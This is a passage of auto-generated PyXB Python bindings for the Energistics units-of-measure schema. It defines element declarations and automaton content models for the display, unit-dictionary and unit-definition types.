displayType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'sub'), pyxb.binding.datatypes.string, scope=displayType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 451, 4)))
displayType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'gr'), pyxb.binding.datatypes.string, scope=displayType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 452, 4)))
def _BuildAutomaton_14 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_14
del _BuildAutomaton_14
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 449, 2))
counters.add(cc_0)
states = []
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(displayType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'sup')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 450, 4))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(displayType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'sub')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 451, 4))
st_1 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(displayType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'gr')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 452, 4))
st_2 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_2)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, True) ]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, True) ]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_0, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, True) ]))
st_2._set_transitionSet(transitions)
return fac.Automaton(states, counters, True, containing_state=None)
displayType._Automaton = _BuildAutomaton_14()
unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Name'), pyxb.binding.datatypes.string, scope=unitDictionaryType, documentation='\nThe name of the unit. This does not necessarily need to be unique within \nthe catalog, but it probably should be. For example, there are several types \nof feet, all with different conversions. It is based on the converstions \nthat we should find the uniqueness.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 56, 4)))
unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'QuantityType'), pyxb.binding.datatypes.string, scope=unitDictionaryType, documentation='\nThis is an uncontrolled list to specify the quantity type that this uom is \nused for. Examples would be length, temperature, pressure, density.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 66, 4)))
unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'DimensionalClass'), pyxb.binding.datatypes.string, scope=unitDictionaryType, documentation='\nThe dimensional analysis of the unit. For example, a metre (m) would be of class [L], which represents length. A foot (ft) would also be in this class. Abbreviations used are L = length, M = mass, T = time, 1 = dimensionless, K = temperature, C = current, N = amount (mole), A = angle (radian), S = solid angle (sr), B = light amount (cd). For consistency, the values are broken into numerator and denominator, separated by a slash (/), in alphabetical order (LM, not ML). \n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 74, 4)))
unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'SameUnit'), sameUnitType, scope=unitDictionaryType, documentation='\nA unit of measure may have different expressions in different registries. \nThis allows zero or more of these mappings to be recorded. The SameUnit \nallows a uom and a naming system to be given. The uom is presumably the \nunique symbol in the other system.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 81, 4)))
unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'CatalogName'), pyxb.binding.datatypes.string, scope=unitDictionaryType, documentation='\nA uom is generally defined in a standard catalog of units somewhere. \nThis is the name of that catalog. The combination of CatalogName and \nCatalogSymbol should be unique.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 91, 4)))
unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'CatalogSymbol'), explicitType, scope=unitDictionaryType, documentation='\nThe symbol taken from the catalog. Within the catalog, defined by \nCatalogName, the CatalogSymbol should be unique. This element has an \nattribute, isExplicit, which states whether a uom symbol is explicitly \nin the catalog, or only implicitly defined.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 100, 4)))
unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Display'), displayType, scope=unitDictionaryType, documentation='\nThis allows a unit to have tags that define a display. For example, a sub \nelement may be used to indicate a subscript. The displayType allows one more \nstandard choice for displaying a uom, depending on the medium that the \ninformation is being displayed on.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 110, 4)))
unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Deprecated'), pyxb.binding.datatypes.string, scope=unitDictionaryType, documentation='\nThis element is used to indicate that a unit is being deprecated. Normally, this means that the symbol representing the unit is no longer to be used (CatalogSymbol). It is generally replaced by another instance of the unit, which has a different symbol. For example, a cubic foot, with symbol, cu ft, would be deprecated, but there would be another instance of cubic foot, with symbol, ft3. The value of the instance repesents the version of the dictionary for which the value is first deprecated. A deprecated unit (symbol) is carried for backward compatibility, but will, at some point, be removed.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 120, 4)))
unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'BaseUnit'), baseUnitType, scope=unitDictionaryType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 138, 6)))
unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'ConversionToBaseUnit'), conversionType, scope=unitDictionaryType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 139, 6)))
unitDictionaryType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'CompositeUnit'), compositeUnitType, scope=unitDictionaryType, documentation='\nA composite unit can be formed by an algebra of units. For example, a foot \nper second (quantity type of velocity) can be formed by a foot divided by \na second. This element allows the registry to identify composite units. \nNote that a composite unit is chosen to represent a quantity type.\nExample: metre per second. This uom is the base unit for the quantity type \nof velocity. A foot per second is also a composite unit, and can be converted \nto the base unit by defining a conversion formula.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 141, 4)))
def _BuildAutomaton_15 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_15
del _BuildAutomaton_15
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 66, 4))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 74, 4))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0, max=None, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 81, 4))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 91, 4))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 100, 4))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 110, 4))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 120, 4))
counters.add(cc_6)
cc_7 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 141, 4))
counters.add(cc_7)
states = []
final_update = None
symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Name')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 56, 4))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
final_update = None
symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'QuantityType')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 66, 4))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_1)
final_update = None
symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'DimensionalClass')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 74, 4))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_2)
final_update = None
symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'SameUnit')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 81, 4))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_3)
final_update = None
symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'CatalogName')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 91, 4))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_4)
final_update = None
symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'CatalogSymbol')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 100, 4))
st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_5)
final_update = None
symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Display')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 110, 4))
st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_6)
final_update = None
symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Deprecated')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 120, 4))
st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_7)
final_update = set()
symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'BaseUnit')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 138, 6))
st_8 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_8)
final_update = set()
symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'ConversionToBaseUnit')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 139, 6))
st_9 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_9)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_7, False))
symbol = pyxb.binding.content.ElementUse(unitDictionaryType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'CompositeUnit')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 141, 4))
st_10 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_10)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
transitions.append(fac.Transition(st_3, [
]))
transitions.append(fac.Transition(st_4, [
]))
transitions.append(fac.Transition(st_5, [
]))
transitions.append(fac.Transition(st_6, [
]))
transitions.append(fac.Transition(st_7, [
]))
transitions.append(fac.Transition(st_8, [
]))
transitions.append(fac.Transition(st_9, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_0, False) ]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True) ]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_1, False) ]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, True) ]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_2, False) ]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, True) ]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False) ]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_3, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_3, False) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_3, False) ]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_4, True) ]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, False) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_4, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_4, False) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_4, False) ]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_5, True) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_5, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_5, False) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_5, False) ]))
st_6._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_6, True) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_6, False) ]))
transitions.append(fac.Transition(st_9, [
fac.UpdateInstruction(cc_6, False) ]))
st_7._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_10, [
]))
st_8._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_10, [
]))
st_9._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_10, [
fac.UpdateInstruction(cc_7, True) ]))
st_10._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
unitDictionaryType._Automaton = _BuildAutomaton_15()
unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Name'), pyxb.binding.datatypes.string, scope=unitDefinitionType, documentation='\nThe name of the unit. This does not necessarily need to be unique within \nthe catalog, but it probably should be. For example, there are several types \nof feet, all with different conversions. It is based on the converstions \nthat we should find the uniqueness.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 197, 4)))
unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'QuantityType'), pyxb.binding.datatypes.string, scope=unitDefinitionType, documentation='\nThis is an uncontrolled list to specify the quantity type that this uom is \nused for. Examples would be length, temperature, pressure, density.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 207, 4)))
unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'CatalogName'), pyxb.binding.datatypes.string, scope=unitDefinitionType, documentation='\nA uom is generally defined in a standard catalog of units somewhere. \nThis is the name of that catalog. The combination of CatalogName and \nCatalogSymbol should be unique.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 215, 4)))
unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'CatalogSymbol'), explicitType, scope=unitDefinitionType, documentation='\nThe symbol taken from the catalog. Within the catalog, defined by \nCatalogName, the CatalogSymbol should be unique. This element has an \nattribute, isExplicit, which states whether a uom symbol is explicitly \nin the catalog, or only implicitly defined.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 224, 4)))
unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'Display'), displayType, scope=unitDefinitionType, documentation='\nThis allows a unit to have tags that define a display. For example, a sub \nelement may be used to indicate a subscript. The displayType allows one more \nstandard choice for displaying a uom, depending on the medium that the \ninformation is being displayed on.\n ', location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 234, 4)))
unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'BaseUnit'), baseUnitType, scope=unitDefinitionType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 262, 6)))
unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'IsUnknown'), pyxb.binding.datatypes.boolean, scope=unitDefinitionType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 264, 8)))
unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'ConversionToBaseUnit'), conversionType, scope=unitDefinitionType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 265, 8)))
unitDefinitionType._AddElement(pyxb.binding.basis.element(pyxb.namespace.ExpandedName(Namespace, 'CompositeUnit'), compositeUnitType, scope=unitDefinitionType, location=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 268, 4)))
def _BuildAutomaton_16 ():
# Remove this helper function from the namespace after it is invoked
global _BuildAutomaton_16
del _BuildAutomaton_16
import pyxb.utils.fac as fac
counters = set()
cc_0 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 207, 4))
counters.add(cc_0)
cc_1 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 215, 4))
counters.add(cc_1)
cc_2 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 224, 4))
counters.add(cc_2)
cc_3 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 234, 4))
counters.add(cc_3)
cc_4 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 264, 8))
counters.add(cc_4)
cc_5 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 265, 8))
counters.add(cc_5)
cc_6 = fac.CounterCondition(min=0, max=1, metadata=pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 268, 4))
counters.add(cc_6)
states = []
final_update = set()
symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Name')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 197, 4))
st_0 = fac.State(symbol, is_initial=True, final_update=final_update, is_unordered_catenation=False)
states.append(st_0)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_0, False))
symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'QuantityType')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 207, 4))
st_1 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_1)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_1, False))
symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'CatalogName')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 215, 4))
st_2 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_2)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_2, False))
symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'CatalogSymbol')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 224, 4))
st_3 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_3)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_3, False))
symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'Display')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 234, 4))
st_4 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_4)
final_update = set()
symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'BaseUnit')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 262, 6))
st_5 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_5)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_4, False))
symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'IsUnknown')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 264, 8))
st_6 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_6)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_5, False))
symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'ConversionToBaseUnit')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 265, 8))
st_7 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_7)
final_update = set()
final_update.add(fac.UpdateInstruction(cc_6, False))
symbol = pyxb.binding.content.ElementUse(unitDefinitionType._UseForTag(pyxb.namespace.ExpandedName(Namespace, 'CompositeUnit')), pyxb.utils.utility.Location('http://w3.energistics.org/uom/units20/Units.xsd', 268, 4))
st_8 = fac.State(symbol, is_initial=False, final_update=final_update, is_unordered_catenation=False)
states.append(st_8)
transitions = []
transitions.append(fac.Transition(st_1, [
]))
transitions.append(fac.Transition(st_2, [
]))
transitions.append(fac.Transition(st_3, [
]))
transitions.append(fac.Transition(st_4, [
]))
transitions.append(fac.Transition(st_5, [
]))
transitions.append(fac.Transition(st_6, [
]))
transitions.append(fac.Transition(st_7, [
]))
transitions.append(fac.Transition(st_8, [
]))
st_0._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_1, [
fac.UpdateInstruction(cc_0, True) ]))
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_0, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_0, False) ]))
st_1._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_2, [
fac.UpdateInstruction(cc_1, True) ]))
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_1, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_1, False) ]))
st_2._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_3, [
fac.UpdateInstruction(cc_2, True) ]))
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_2, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_2, False) ]))
st_3._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_4, [
fac.UpdateInstruction(cc_3, True) ]))
transitions.append(fac.Transition(st_5, [
fac.UpdateInstruction(cc_3, False) ]))
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_3, False) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_3, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_3, False) ]))
st_4._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_8, [
]))
st_5._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_6, [
fac.UpdateInstruction(cc_4, True) ]))
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_4, False) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_4, False) ]))
st_6._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_7, [
fac.UpdateInstruction(cc_5, True) ]))
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_5, False) ]))
st_7._set_transitionSet(transitions)
transitions = []
transitions.append(fac.Transition(st_8, [
fac.UpdateInstruction(cc_6, True) ]))
st_8._set_transitionSet(transitions)
return fac.Automaton(states, counters, False, containing_state=None)
unitDefinitionType._Automaton = _BuildAutomaton_16()
